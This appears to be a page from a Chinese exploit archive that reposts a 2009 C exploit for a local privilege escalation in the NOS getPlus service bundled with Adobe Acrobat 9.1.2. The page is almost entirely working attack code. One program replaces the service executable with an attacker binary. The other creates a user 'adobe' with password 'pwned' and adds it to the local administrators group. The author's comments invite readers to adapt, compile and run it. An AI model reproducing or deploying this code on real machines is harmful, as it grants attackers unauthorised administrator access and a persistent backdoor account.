注册
登录
| 关键词： DEFAULT define Adobe alwaysdirtynever NULL Acrobat include 2009 clean EXECUTE |
Adobe Acrobat 9.1.2 NOS 本地提权漏洞 /* alwaysdirtyneverclean.c AKA Adobe Acrobat 9.1.2 NOS Local Privilege Escalation Exploit (alwaysdirtyneverclean.zip) BY Jeremy Brown 2009 [[email protected]] 07.21.2009 **************************** ****************************** I've been up for nearly 24 hours (only the last few doing research though). This exploit is based on the brief information provided by Nine:Situations:Group http://www.milw0rm.com/exploits/9199). Exploiting improper permissions is fun. A few notes are in order though. The getPlus service (that I tested, via 9.1.2) isn't installed as an "Automatic" service, therefore making it slightly harder (but not hard) to practically use to your advantage. But I tested running this code under a GUEST account and it worked pretty good (just the first time though). Change the values as needed, compile and run. Things could be more or less silent, lethal or non-lethal... it is completely up to you. Things cannot get much simpler than this :) Tested on Windows XP SP3 + Adobe Acrobat 9.1.2 (installed from adobe's download manager, then updated) But maybe give Adobe a break? 2009 has been a rough year for them already, heh. Sleep time. alwaysdirtyneverclean.c */ #include <stdio.h> #include <windows.h> #define DEFAULT_TARGET "C:\\Program Files\\NOS\\bin\\GetPlus_HelperSvc.exe" #define DEFAULT_BACKUP "C:\\Program Files\\NOS\\bin\\GetPlus_HelperSvc.exe.bak" #define DEFAULT_EXECUTE "C:\\Documents and Settings\\All Users\\Documents\\bin.exe" //#define DEFAULT_EXECUTE "C:\\WINDOWS\\system32\\calc.exe" int main(int argc, char *argv[]) { MoveFile(DEFAULT_TARGET, DEFAULT_BACKUP); CopyFile(DEFAULT_EXECUTE, DEFAULT_TARGET, FALSE); // shakee and bakeee return 0; } ///////////////////////////////////// cut ///////////////////////////////////// /* bin.c FROM Adobe Acrobat 9.1.2 NOS Local Privilege Escalation Exploit (alwaysdirtyneverclean.zip) BY Jeremy Brown 2009 [[email protected]] 07.21.2009 */ #include <stdio.h> #include <windows.h> #define CMD "C:\\WINDOWS\\system32\\cmd.exe" #define ONE "/C net user adobe pwned /add" #define TWO "/C net localgroup administrators adobe /add" int main(int argc, char *argv[]) { STARTUPINFO si = {sizeof(STARTUPINFO)}; PROCESS_INFORMATION pi; CreateProcess(CMD, ONE, NULL, NULL, 0, 0, NULL, NULL, &si, &pi); CreateProcess(CMD, TWO, NULL, NULL, 0, 0, NULL, NULL, &si, &pi); // mmmmmmmmmmm.. chocolate browie ice cream smoothes are goooood return 0; } |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
